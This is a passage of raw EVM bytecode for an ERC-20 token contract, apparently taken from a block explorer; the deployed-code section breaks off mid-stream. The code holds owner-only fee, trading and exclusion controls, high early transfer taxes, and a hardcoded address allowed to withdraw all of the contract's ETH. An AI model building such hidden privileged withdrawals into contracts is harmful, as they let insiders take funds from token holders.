ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282540392505081905550505b610b53848484611c2a565b90509392505050565b5f6012905090565b7f000000000000000000000000000000000000000000000000000000000000000081565b3373ffffffffffffffffffffffffffffffffffffffff16610ba761101f565b73ffffffffffffffffffffffffffffffffffffffff1614610bfd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bf4906130fc565b60405180910390fd5b60648183610c0b91906131ea565b14610c4b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c4290613267565b60405180910390fd5b8160075f01819055508060076001018190555080827f1e01a4924a1710040404be0f848c65e242cad98e407ad44f993abe891bd61c5360405160405180910390a35050565b5f60035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b3373ffffffffffffffffffffffffffffffffffffffff16610d0161101f565b73ffffffffffffffffffffffffffffffffffffffff1614610d57576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4e906130fc565b60405180910390fd5b5f4711610d99576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d90906132f5565b60405180910390fd5b610da16121c0565b565b3373ffffffffffffffffffffffffffffffffffffffff16610dc261101f565b73ffffffffffffffffffffffffffffffffffffffff1614610e18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e0f906130fc565b60405180910390fd5b6001600d54148015610e28575080155b610e30575f80fd5b8282600385859050610e429190613313565b818110610e5257610e51613346565b5b90506020020135600e819055508282600185859050610e719190613313565b818110610e8157610e80613346565b5b90506020020135600e5410610e9957610e98613373565b5b505050565b600c60019054906101000a900460ff1681565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff16610f1661101f565b73ffffffffffffffffffffffffffffffffffffffff1614610f6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f63906130fc565b60405180910390fd5b610f755f612326565b565b6005805f0154908060010154905082565b3373ffffffffffffffffffffffffffffffffffffffff16610fa761101f565b73ffffffffffffffffffffffffffffffffffffffff1614610ffd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ff4906130fc565b60405180910390fd5b600c5f9054906101000a900460ff1615611015575f80fd5b6001600d81905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6007805f0154908060010154905082565b60606040518060400160405280600481526020017f4457575700000000000000000000000000000000000000000000000000000000815250905090565b3373ffffffffffffffffffffffffffffffffffffffff166110b361101f565b73ffffffffffffffffffffffffffffffffffffffff1614611109576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611100906130fc565b60405180910390fd5b60055f0154821115611150576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611147906133ea565b60405180910390fd5b600560010154811115611198576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118f90613452565b60405180910390fd5b8160055f01819055508060056001018190555080827f64f84976d9c917a44796104a59950fdbd9b3c16a5dd348b546d738301f6bd06860405160405180910390a35050565b5f6111e9338484611c2a565b905092915050565b3373ffffffffffffffffffffffffffffffffffffffff1661121061101f565b73ffffffffffffffffffffffffffffffffffffffff1614611266576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161125d906130fc565b60405180910390fd5b5f5b838390508110156114245781151560035f86868581811061128c5761128b613346565b5b90506020020160208101906112a19190612cd0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16151503611329576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611320906134e0565b60405180910390fd5b8160035f8686858181106113405761133f613346565b5b90506020020160208101906113559190612cd0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508115158484838181106113ba576113b9613346565b5b90506020020160208101906113cf9190612cd0565b73ffffffffffffffffffffffffffffffffffffffff167f3499bfcf9673677ba552f3fe2ea274ec7e6246da31c3c87e115b45a9b0db2efb60405160405180910390a3808061141c906134fe565b915050611268565b50505050565b3373ffffffffffffffffffffffffffffffffffffffff1661144961101f565b73ffffffffffffffffffffffffffffffffffffffff161461149f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611496906130fc565b60405180910390fd5b600c5f9054906101000a900460ff161580156114bd57505f600d5414155b6114c5575f80fd5b600e54436114d391906131ea565b600d5f8282546114e391906131ea565b925050819055506001600c5f6101000a81548160ff0219169083151502179055507fea4359d5c4b8f0945a64ab9c37fe830b3407d45e0e6e6f84275977a570457d6f60405160405180910390a1565b3373ffffffffffffffffffffffffffffffffffffffff1661155161101f565b73ffffffffffffffffffffffffffffffffffffffff16146115a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159e906130fc565b60405180910390fd5b801515600c60019054906101000a900460ff161515036115fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115f3906135b5565b60405180910390fd5b80600c60016101000a81548160ff0219169083151502179055508015157fb9bbb15e341600c8d067a0cadeba219905d5ba6d422b193c9c32265d26fc51c860405160405180910390a250565b6009805f015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690806001015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690806002015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905083565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b3373ffffffffffffffffffffffffffffffffffffffff1661175d61101f565b73ffffffffffffffffffffffffffffffffffffffff16146117b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117aa906130fc565b60405180910390fd5b3073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611821576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161181890613643565b60405180910390fd5b5f8173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b815260040161185b9190612d8e565b602060405180830381865afa158015611876573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061189a9190613675565b90505f81116118de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118d590613710565b60405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b815260040161191992919061372e565b6020604051808303815f875af1158015611935573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906119599190613769565b505050565b670de0b6b3a7640000620493e06119759190613071565b81565b3373ffffffffffffffffffffffffffffffffffffffff1661199761101f565b73ffffffffffffffffffffffffffffffffffffffff16146119ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119e4906130fc565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611a5b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a5290613804565b60405180910390fd5b611a6481612326565b50565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611ad5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611acc9061386c565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611b43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b3a9061386c565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611c1d9190612c43565b60405180910390a3505050565b5f8383600c5f9054906101000a900460ff1680611c95575060095f015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b80611ce6575060035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b611d25576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d1c906138d4565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1603611d93576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d8a90613962565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1603611e01576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611df8906139f0565b60405180910390fd5b5f841480611e1b5750600c60029054906101000a900460ff165b15611e3257611e2b8686866123e7565b92506121b7565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614158015611ed5575060035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b8015611f30575060095f015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b15611fa257670de0b6b3a7640000620493e0611f4c9190613071565b611f5586610eb1565b85611f6091906131ea565b1115611fa1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f9890613a7e565b60405180910390fd5b5b600c60019054906101000a900460ff168015611fcb5750600c60029054906101000a900460ff16155b801561202357507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614155b8015612076575060035f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b80156120c9575060035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b156120d7576120d66121c0565b5b5f600c60029054906101000a900460ff1615905060035f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680612186575060035f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b1561218f575f90505b80156121a8576121a087878761257a565b9350506121b7565b6121b38787876123e7565b9350505b50509392505050565b6001600c60026101000a81548160ff0219169083151502179055505f6121e530610eb1565b9050670de0b6b3a76400006127106121fd9190613071565b81108061220f575061220d6125c1565b155b1561221a575061230a565b6014670de0b6b3a76400006127106122329190613071565b61223c9190613071565b811115612268576014670de0b6b3a764000061271061225b9190613071565b6122659190613071565b90505b5f479050612275826125e9565b5f81476122829190613313565b90505f811115612306575f60646007600101546002846122a29190613071565b6122ac9190613071565b6122b69190613ac9565b90505f606460075f01546002856122cd9190613071565b6122d79190613071565b6122e19190613ac9565b9050612303600382846122f491906131ea565b6122fe9190613ac9565b612805565b50505b5050505b5f600c60026101000a81548160ff021916908315150217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f8060015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490508281101561246c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161246390613b43565b60405180910390fd5b8260015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825403925050819055508260015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461250291906131ea565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516125669190612c43565b60405180910390a360019150509392505050565b5f80612587858585612959565b90505f8111156125ac5761259c8530836123e7565b5080836125a99190613313565b92505b6125b78585856123e7565b9150509392505050565b5f600d54431180156125e45750600360045f4381526020019081526020015f2054105b905090565b60045f4381526020019081526020015f205f81548092919061260a906134fe565b91905055505f600267ffffffffffffffff81111561262b5761262a613b61565b5b6040519080825280602002602001820160405280156126595781602001602082028036833780820191505090505b50905030815f815181106126705761266f613346565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612707573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061272b9190613ba2565b8160018151811061273f5761273e613346565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b81526004016127ce959493929190613cbd565b5f604051808303815f87803b1580156127e5575f80fd5b505af19250505080156127f6575060015b6128005750612802565b505b50565b5f60096001015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166064600760010154846128549190613071565b61285e9190613ac9565b60405161286a90613d42565b5f6040518083038185875af1925050503d805f81146128a4576040519150601f19603f3d011682016040523d82523d5f602084013e6128a9565b606091505b5050905060096002015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16606460075f0154846128fa9190613071565b6129049190613ac9565b60405161291090613d42565b5f6040518083038185875af1925050503d805f811461294a576040519150601f19603f3d011682016040523d82523d5f602084013e61294f565b606091505b5050809150505050565b5f600d545f10801561296c575043600d54105b156129f35760647f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16146129d05760055f01546129d7565b6005600101545b836129e29190613071565b6129ec9190613ac9565b9050612a7d565b60647f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614612a5f575f600d5414612a5857603c612a5a565b5f5b612a62565b60325b60ff1683612a709190613071565b612a7a9190613ac9565b90505b9392505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015612abb578082015181840152602081019050612aa0565b5f8484015250505050565b5f601f19601f8301169050919050565b5f612ae082612a84565b612aea8185612a8e565b9350612afa818560208601612a9e565b612b0381612ac6565b840191505092915050565b5f6020820190508181035f830152612b268184612ad6565b905092915050565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f612b5f82612b36565b9050919050565b612b6f81612b55565b8114612b79575f80fd5b50565b5f81359050612b8a81612b66565b92915050565b5f819050919050565b612ba281612b90565b8114612bac575f80fd5b50565b5f81359050612bbd81612b99565b92915050565b5f8060408385031215612bd957612bd8612b2e565b5b5f612be685828601612b7c565b9250506020612bf785828601612baf565b9150509250929050565b5f8115159050919050565b612c1581612c01565b82525050565b5f602082019050612c2e5f830184612c0c565b92915050565b612c3d81612b90565b82525050565b5f602082019050612c565f830184612c34565b92915050565b5f819050919050565b5f612c7f612c7a612c7584612b36565b612c5c565b612b36565b9050919050565b5f612c9082612c65565b9050919050565b5f612ca182612c86565b9050919050565b612cb181612c97565b82525050565b5f602082019050612cca5f830184612ca8565b92915050565b5f60208284031215612ce557612ce4612b2e565b5b5f612cf284828501612b7c565b91505092915050565b5f805f60608486031215612d1257612d11612b2e565b5b5f612d1f86828701612b7c565b9350506020612d3086828701612b7c565b9250506040612d4186828701612baf565b9150509250925092565b5f60ff82169050919050565b612d6081612d4b565b82525050565b5f602082019050612d795f830184612d57565b92915050565b612d8881612b55565b82525050565b5f602082019050612da15f830184612d7f565b92915050565b5f8060408385031215612dbd57612dbc612b2e565b5b5f612dca85828601612baf565b9250506020612ddb85828601612baf565b9150509250929050565b5f80fd5b5f80fd5b5f80fd5b5f8083601f840112612e0657612e05612de5565b5b8235905067ffffffffffffffff811115612e2357612e22612de9565b5b602083019150836020820283011115612e3f57612e3e612ded565b5b9250929050565b612e4f81612c01565b8114612e59575f80fd5b50565b5f81359050612e6a81612e46565b92915050565b5f805f60408486031215612e8757612e86612b2e565b5b5f84013567ffffffffffffffff811115612ea457612ea3612b32565b5b612eb086828701612df1565b93509350506020612ec386828701612e5c565b9150509250925092565b5f604082019050612ee05f830185612c34565b612eed6020830184612c34565b9392505050565b5f8083601f840112612f0957612f08612de5565b5b8235905067ffffffffffffffff811115612f2657612f25612de9565b5b602083019150836020820283011115612f4257612f41612ded565b5b9250929050565b5f805f60408486031215612f6057612f5f612b2e565b5b5f84013567ffffffffffffffff811115612f7d57612f7c612b32565b5b612f8986828701612ef4565b93509350506020612f9c86828701612e5c565b9150509250925092565b5f60208284031215612fbb57612fba612b2e565b5b5f612fc884828501612e5c565b91505092915050565b5f606082019050612fe45f830186612d7f565b612ff16020830185612d7f565b612ffe6040830184612d7f565b949350505050565b5f806040838503121561301c5761301b612b2e565b5b5f61302985828601612b7c565b925050602061303a85828601612b7c565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61307b82612b90565b915061308683612b90565b925082820261309481612b90565b915082820484148315176130ab576130aa613044565b5b5092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6130e6602083612a8e565b91506130f1826130b2565b602082019050919050565b5f6020820190508181035f830152613113816130da565b9050919050565b7f546f6b656e3a206e6f2065746820746f20636c656172000000000000000000005f82015250565b5f61314e601683612a8e565b91506131598261311a565b602082019050919050565b5f6020820190508181035f83015261317b81613142565b9050919050565b7f45524332303a20696e73756666696369656e7420416c6c6f77616e63650000005f82015250565b5f6131b6601d83612a8e565b91506131c182613182565b602082019050919050565b5f6020820190508181035f8301526131e3816131aa565b9050919050565b5f6131f482612b90565b91506131ff83612b90565b925082820190508082111561321757613216613044565b5b92915050565b7f546f6b656e3a20726174696f206d7573742061646420746f20313030250000005f82015250565b5f613251601d83612a8e565b915061325c8261321d565b602082019050919050565b5f6020820190508181035f83015261327e81613245565b9050919050565b7f546f6b656e3a206e6f20636f6e747261637420746f6b656e7320746f20636c655f8201527f6172000000000000000000000000000000000000000000000000000000000000602082015250565b5f6132df602283612a8e565b91506132ea82613285565b604082019050919050565b5f6020820190508181035f83015261330c816132d3565b9050919050565b5f61331d82612b90565b915061332883612b90565b92508282039050818111156133405761333f613044565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52600160045260245ffd5b7f546f6b656e3a206d7573742072656475636520627579206665650000000000005f82015250565b5f6133d4601a83612a8e565b91506133df826133a0565b602082019050919050565b5f6020820190508181035f830152613401816133c8565b9050919050565b7f546f6b656e3a206d757374207265647563652073656c6c2066656500000000005f82015250565b5f61343c601b83612a8e565b915061344782613408565b602082019050919050565b5f6020820190508181035f83015261346981613430565b9050919050565b7f546f6b656e3a206164647265737320616c7265616479207b73686f756c6445785f8201527f636c7564657d0000000000000000000000000000000000000000000000000000602082015250565b5f6134ca602683612a8e565b91506134d582613470565b604082019050919050565b5f6020820190508181035f8301526134f7816134be565b9050919050565b5f61350882612b90565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361353a57613539613044565b5b600182019050919050565b7f546f6b656e3a2073776170456e61626c656420616c7265616479207b73686f755f8201527f6c64456e61626c657d0000000000000000000000000000000000000000000000602082015250565b5f61359f602983612a8e565b91506135aa82613545565b604082019050919050565b5f6020820190508181035f8301526135cc81613593565b9050919050565b7f546f6b656e3a2063616e277420636c65617220636f6e747261637420746f6b655f8201527f6e00000000000000000000000000000000000000000000000000000000000000602082015250565b5f61362d602183612a8e565b9150613638826135d3565b604082019050919050565b5f6020820190508181035f83015261365a81613621565b9050919050565b5f8151905061366f81612b99565b92915050565b5f6020828403121561368a57613689612b2e565b5b5f61369784828501613661565b91505092915050565b7f546f6b656e3a206e6f7420656e6f75676820746f6b656e7320746f20636c65615f8201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b5f6136fa602183612a8e565b9150613705826136a0565b604082019050919050565b5f6020820190508181035f830152613727816136ee565b9050919050565b5f6040820190506137415f830185612d7f565b61374e6020830184612c34565b9392505050565b5f8151905061376381612e46565b92915050565b5f6020828403121561377e5761377d612b2e565b5b5f61378b84828501613755565b91505092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f6137ee602683612a8e565b91506137f982613794565b604082019050919050565b5f6020820190508181035f83015261381b816137e2565b9050919050565b7f45524332303a207a65726f2041646472657373000000000000000000000000005f82015250565b5f613856601383612a8e565b915061386182613822565b602082019050919050565b5f6020820190508181035f8301526138838161384a565b9050919050565b7f546f6b656e3a2054726164696e67206973206e6f74206163746976652e0000005f82015250565b5f6138be601d83612a8e565b91506138c98261388a565b602082019050919050565b5f6020820190508181035f8301526138eb816138b2565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f61394c602583612a8e565b9150613957826138f2565b604082019050919050565b5f6020820190508181035f83015261397981613940565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f6139da602383612a8e565b91506139e582613980565b604082019050919050565b5f6020820190508181035f830152613a07816139ce565b9050919050565b7f546f6b656e3a206d61782077616c6c657420616d6f756e7420657863656564655f8201527f6400000000000000000000000000000000000000000000000000000000000000602082015250565b5f613a68602183612a8e565b9150613a7382613a0e565b604082019050919050565b5f6020820190508181035f830152613a9581613a5c565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f613ad382612b90565b9150613ade83612b90565b925082613aee57613aed613a9c565b5b828204905092915050565b7f546f6b656e3a20696e73756666696369656e742042616c616e636500000000005f82015250565b5f613b2d601b83612a8e565b9150613b3882613af9565b602082019050919050565b5f6020820190508181035f830152613b5a81613b21565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b5f81519050613b9c81612b66565b92915050565b5f60208284031215613bb757613bb6612b2e565b5b5f613bc484828501613b8e565b91505092915050565b5f819050919050565b5f613bf0613beb613be684613bcd565b612c5c565b612b90565b9050919050565b613c0081613bd6565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b613c3881612b55565b82525050565b5f613c498383613c2f565b60208301905092915050565b5f602082019050919050565b5f613c6b82613c06565b613c758185613c10565b9350613c8083613c20565b805f5b83811015613cb0578151613c978882613c3e565b9750613ca283613c55565b925050600181019050613c83565b5085935050505092915050565b5f60a082019050613cd05f830188612c34565b613cdd6020830187613bf7565b8181036040830152613cef8186613c61565b9050613cfe6060830185612d7f565b613d0b6080830184612c34565b9695505050505050565b5f81905092915050565b50565b5f613d2d5f83613d15565b9150613d3882613d1f565b5f82019050919050565b5f613d4c82613d22565b915081905091905056fea26469706673582212200c5af9a534f3552cd8a7b0615d3db03721e3704330851e859a60861a0fc6bfee64736f6c63430008150033

Deployed Bytecode

0x6080604052600436106101e6575f3560e01c8063715018a611610101578063c492f04611610094578063dd62ed3e11610063578063dd62ed3e14610677578063e303e662146106b3578063e80c7ded146106db578063f2fde38b14610705576101ed565b8063c492f046146105e5578063c9567bf91461060d578063d2a09c7114610623578063d2f4a50a1461064b576101ed565b80638ffee785116100d05780638ffee7851461052c57806395d89b4114610557578063a08fc5c714610581578063a9059cbb146105a9576101ed565b8063715018a6146104ab57806374378132146104c15780638129fc1c146104ec5780638da5cb5b14610502576101ed565b8063313ce567116101795780635b895c29116101485780635b895c291461040757806364e329e31461041d5780636ddd17131461044557806370a082311461046f576101ed565b8063313ce5671461034f57806349bd5a5e146103795780634fa2cf8a146103a35780634fbee193146103cb576101ed565b806318160ddd116101b557806318160ddd146102ab5780631a695230146102d55780631b9152bf146102fd57806323b872dd14610313576101ed565b806306fdde03146101f1578063095ea7b31461021b5780630e5a9231146102575780631694505e14610281576101ed565b366101ed57005b5f80fd5b3480156101fc575f80fd5b5061020561072d565b6040516102129190612b0e565b60405180910390f35b348015610226575f80fd5b50610241600480360381019061023c9190612bc3565b61076a565b60405161024e9190612c1b565b60405180910390f35b348015610262575f80fd5b5061026b610780565b6040516102789190612c43565b60405180910390f35b34801561028c575f80fd5b50610295610799565b6040516102a29190612cb7565b60405180910390f35b3480156102b6575f80fd5b506102bf6107b1565b6040516102cc9190612c43565b60405180910390f35b3480156102e0575f80fd5b506102fb60048036038101906102f69190612cd0565b6107ce565b005b348015610308575f80fd5b50610311610865565b005b34801561031e575f80fd5b5061033960048036038101906103349190612cfb565b610962565b6040516103469190612c1b565b60405180910390f35b34801561035a575f80fd5b50610363610b5c565b6040516103709190612d66565b60405180910390f35b348015610384575f80fd5b5061038d610b64565b60405161039a9190612d8e565b60405180910390f35b3480156103ae575f80fd5b506103c960048036038101906103c49190612da7565b610b88565b005b3480156103d6575f80fd5b506103f160048036038101906103ec9190612cd0565b610c90565b6040516103fe9190612c1b565b60405180910390f35b348015610412575f80fd5b5061041b610ce2565b005b348015610428575f80fd5b50610443600480360381019061043e9190612e70565b610da3565b005b348015610450575f80fd5b50610459610e9e565b6040516104669190612c1b565b60405180910390f35b34801561047a575f80fd5b5061049560048036038101906104909190612cd0565b610eb1565b6040516104a29190612c43565b60405180910390f35b3480156104b6575f80fd5b506104bf610ef7565b005b3480156104cc575f80fd5b506104d5610f77565b6040516104e3929190612ecd565b60405180910390f35b3480156104f7575f80fd5b50610500610f88565b005b34801561050d575f80fd5b5061051661101f565b6040516105239190612d8e565b60405180910390f35b348015610537575f80fd5b50610540611046565b60405161054e929190612ecd565b60405180910390f35b348015610562575f80fd5b5061056b611057565b6040516105789190612b0e565b60405180910390f35b34801561058c575f80fd5b506105a760048036038101906105a29190612da7565b611094565b005b3480156105b4575f80fd5b506105cf60048036038101906105ca9190612bc3565b6111dd565b6040516105dc9190612c1b565b60405180910390f35b3480156105f0575f80fd5b5061060b60048036038101906106069190612f49565b6111f1565b005b348015610618575f80fd5b5061062161142a565b005b34801561062e575f80fd5b5061064960048036038101906106449190612fa6565b611532565b005b348015610656575f80fd5b5061065f611648565b60405161066e93929190612fd1565b60405180910390f35b348015610682575f80fd5b5061069d60048036038101906106989190613006565b6116bc565b6040516106aa9190612c43565b60405180910390f35b3480156106be575f80fd5b506106d960048036038101906106d49190612cd0565b61173e565b005b3480156106e6575f80fd5b506106ef61195e565b6040516106fc9190612c43565b60405180910390f35b348015610710575f80fd5b5061072b60048036038101906107269190612cd0565b611978565b005b60606040518060400160405280601081526020017fe197aa4fe196874b20e197af45e197b700000000000000000000000000000000815250905090565b5f610776338484611a67565b6001905092915050565b670de0b6b3a76400006127106107969190613071565b81565b737a250d5630b4cf539739df2c5dacb4c659f2488d81565b5f670de0b6b3a7640000629896806107c99190613071565b905090565b738867ea91c0b47a2938b388e073fa2f874ffbc32773ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff160361085e578073ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f19350505050158015610858573d5f803e3d5ffd5b50610862565b5f80fd5b50565b3373ffffffffffffffffffffffffffffffffffffffff1661088461101f565b73ffffffffffffffffffffffffffffffffffffffff16146108da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108d1906130fc565b60405180910390fd5b5f471161091c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091390613164565b60405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f1935050505015801561095f573d5f803e3d5ffd5b50565b5f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff60025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205414610b48575f60025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905082811015610ac1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ab8906131cc565b60405180910390fd5b8260025f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282540392505081905550505b610b53848484611c2a565b90509392505050565b5f6012905090565b7f000000000000000000000000329d44b6f8a92e113a077a1f36159c160218216381565b3373ffffffffffffffffffffffffffffffffffffffff16610ba761101f565b73ffffffffffffffffffffffffffffffffffffffff1614610bfd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bf4906130fc565b60405180910390fd5b60648183610c0b91906131ea